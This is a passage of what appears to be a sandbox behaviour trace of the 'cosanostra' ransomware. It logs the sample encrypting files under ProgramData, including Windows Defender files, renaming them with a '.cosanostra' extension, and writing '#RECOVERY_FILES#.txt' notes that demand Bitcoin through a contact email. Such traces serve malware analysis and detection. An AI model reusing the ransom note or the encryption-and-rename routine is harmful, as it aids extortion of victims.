lpOverlapped=0x0 | out: lpBuffer=0x2c3dd0*, lpNumberOfBytesRead=0x26ffc34*=0x2800, lpOverlapped=0x0) returned 1 [0081.463] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.463] WriteFile (in: hFile=0x168, lpBuffer=0x2c3dd0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc34, lpOverlapped=0x0 | out: lpBuffer=0x2c3dd0*, lpNumberOfBytesWritten=0x26ffc34*=0x2800, lpOverlapped=0x0) returned 1 [0081.463] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.463] WriteFile (in: hFile=0x168, lpBuffer=0x26ffc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc34, lpOverlapped=0x0 | out: lpBuffer=0x26ffc74*, lpNumberOfBytesWritten=0x26ffc34*=0x4, lpOverlapped=0x0) returned 1 [0081.464] WriteFile (in: hFile=0x168, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc34, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ffc34*=0x30, lpOverlapped=0x0) returned 1 [0081.464] CloseHandle (hObject=0x168) returned 1 [0081.467] wnsprintfW (in: pszDest=0x2e7010, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.cosanostra") returned 90 [0081.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.cosanostra")) returned 1 [0081.468] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc78 | out: pbBuffer=0x26ffc78) returned 1 [0081.468] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc70*=0x30) returned 1 [0081.468] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.468] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc70 | out: pbBuffer=0x26ffc70) returned 1 [0081.468] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc68*=0x30) returned 1 [0081.468] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0081.483] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 79 [0081.483] StrStrW (lpFirst="History.Log", lpSrch=".txt") returned 0x0 [0081.484] ReadFile (in: hFile=0xbc, lpBuffer=0x287138, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc2c, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesRead=0x26ffc2c*=0x2, lpOverlapped=0x0) returned 1 [0081.484] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffffe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.484] WriteFile (in: hFile=0xbc, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26ffc2c, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x26ffc2c*=0x2, lpOverlapped=0x0) returned 1 [0081.485] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.485] WriteFile (in: hFile=0xbc, lpBuffer=0x26ffc6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc2c, lpOverlapped=0x0 | out: lpBuffer=0x26ffc6c*, lpNumberOfBytesWritten=0x26ffc2c*=0x4, lpOverlapped=0x0) returned 1 [0081.485] WriteFile (in: hFile=0xbc, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc2c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ffc2c*=0x30, lpOverlapped=0x0) returned 1 [0081.485] CloseHandle (hObject=0xbc) returned 1 [0081.486] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.cosanostra") returned 90 [0081.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log.cosanostra")) returned 1 [0081.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.487] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc68 | out: pbBuffer=0x26ffc68) returned 1 [0081.487] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc60*=0x30) returned 1 [0081.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\.." (normalized: "c:\\programdata\\microsoft\\wwansvc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.487] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc68 | out: pbBuffer=0x26ffc68) returned 1 [0081.487] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc60*=0x30) returned 1 [0081.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\." (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.487] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc60 | out: pbBuffer=0x26ffc60) returned 1 [0081.487] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc58*=0x30) returned 1 [0081.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\WwanSvc\\.." (normalized: "c:\\programdata\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.496] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.499] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.499] WriteFile (in: hFile=0x138, lpBuffer=0x26ffafb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x26ffafb*, lpNumberOfBytesWritten=0x26ffcbc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.500] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.500] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffcbc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.500] CloseHandle (hObject=0x138) returned 1 [0081.500] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.501] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.501] WriteFile (in: hFile=0x138, lpBuffer=0x26ffaf7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x26ffaf7*, lpNumberOfBytesWritten=0x26ffcb8*=0x1bf, lpOverlapped=0x0) returned 1 [0081.501] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.501] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffcb8*=0x2ac, lpOverlapped=0x0) returned 1 [0081.501] CloseHandle (hObject=0x138) returned 1 [0081.502] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc58 | out: pbBuffer=0x26ffc58) returned 1 [0081.502] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ffc50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ffc50*=0x30) returned 1 [0081.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.502] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned 82 [0081.502] StrStrW (lpFirst="MpSfc.bin", lpSrch=".txt") returned 0x0 [0081.502] ReadFile (in: hFile=0x138, lpBuffer=0x22d2a0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc14, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesRead=0x26ffc14*=0x2800, lpOverlapped=0x0) returned 1 [0081.504] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.504] WriteFile (in: hFile=0x138, lpBuffer=0x22d2a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc14, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesWritten=0x26ffc14*=0x2800, lpOverlapped=0x0) returned 1 [0081.504] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.504] WriteFile (in: hFile=0x138, lpBuffer=0x26ffc54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc14, lpOverlapped=0x0 | out: lpBuffer=0x26ffc54*, lpNumberOfBytesWritten=0x26ffc14*=0x4, lpOverlapped=0x0) returned 1 [0081.505] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ffc14*=0x30, lpOverlapped=0x0) returned 1 [0081.505] CloseHandle (hObject=0x138) returned 1 [0081.507] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.cosanostra") returned 93 [0081.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.cosanostra")) returned 1 [0081.507] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc50 | out: pbBuffer=0x26ffc50) returned 1 [0081.508] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ffc48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ffc48*=0x30) returned 1 [0081.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.508] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned 116 [0081.508] StrStrW (lpFirst="mpengine.dll", lpSrch=".txt") returned 0x0 [0081.508] ReadFile (in: hFile=0x138, lpBuffer=0x22d2a0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesRead=0x26ffc0c*=0x2800, lpOverlapped=0x0) returned 1 [0081.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.510] WriteFile (in: hFile=0x138, lpBuffer=0x22d2a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x22d2a0*, lpNumberOfBytesWritten=0x26ffc0c*=0x2800, lpOverlapped=0x0) returned 1 [0081.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.510] WriteFile (in: hFile=0x138, lpBuffer=0x26ffc4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x26ffc4c*, lpNumberOfBytesWritten=0x26ffc0c*=0x4, lpOverlapped=0x0) returned 1 [0081.643] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ffc0c*=0x30, lpOverlapped=0x0) returned 1 [0081.643] CloseHandle (hObject=0x138) returned 1 [0082.103] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.cosanostra") returned 127 [0082.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.cosanostra" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll.cosanostra")) returned 1 [0082.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc50 | out: pbBuffer=0x26ffc50) returned 1 [0082.104] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ffc48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ffc48*=0x30) returned 1 [0082.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0082.185] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 88 [0082.185] StrStrW (lpFirst="vcredist_x86.exe", lpSrch=".txt") returned 0x0 [0082.185] ReadFile (in: hFile=0xbc, lpBuffer=0x2b6498, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x2b6498*, lpNumberOfBytesRead=0x26ffc0c*=0x2800, lpOverlapped=0x0) returned 1 [0082.204] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.204] WriteFile (in: hFile=0xbc, lpBuffer=0x2b6498*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x2b6498*, lpNumberOfBytesWritten=0x26ffc0c*=0x2800, lpOverlapped=0x0) returned 1 [0082.205] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.205] WriteFile (in: hFile=0xbc, lpBuffer=0x26ffc4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x26ffc4c*, lpNumberOfBytesWritten=0x26ffc0c*=0x4, lpOverlapped=0x0) returned 1 [0082.206] WriteFile (in: hFile=0xbc, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffc0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ffc0c*=0x30, lpOverlapped=0x0) returned 1 [0082.206] CloseHandle (hObject=0xbc) returned 1 [0082.239] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.cosanostra") returned 99 [0082.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.cosanostra" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.cosanostra")) returned 1 [0082.240] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.310] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.310] WriteFile (in: hFile=0x178, lpBuffer=0x26ffae7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffca8, lpOverlapped=0x0 | out: lpBuffer=0x26ffae7*, lpNumberOfBytesWritten=0x26ffca8*=0x1bf, lpOverlapped=0x0) returned 1 [0082.311] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.311] WriteFile (in: hFile=0x178, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffca8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffca8*=0x2ac, lpOverlapped=0x0) returned 1 [0082.311] CloseHandle (hObject=0x178) returned 1 [0082.311] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc48 | out: pbBuffer=0x26ffc48) returned 1 [0082.311] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc40*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc40*=0x30) returned 1 [0082.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.312] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc40 | out: 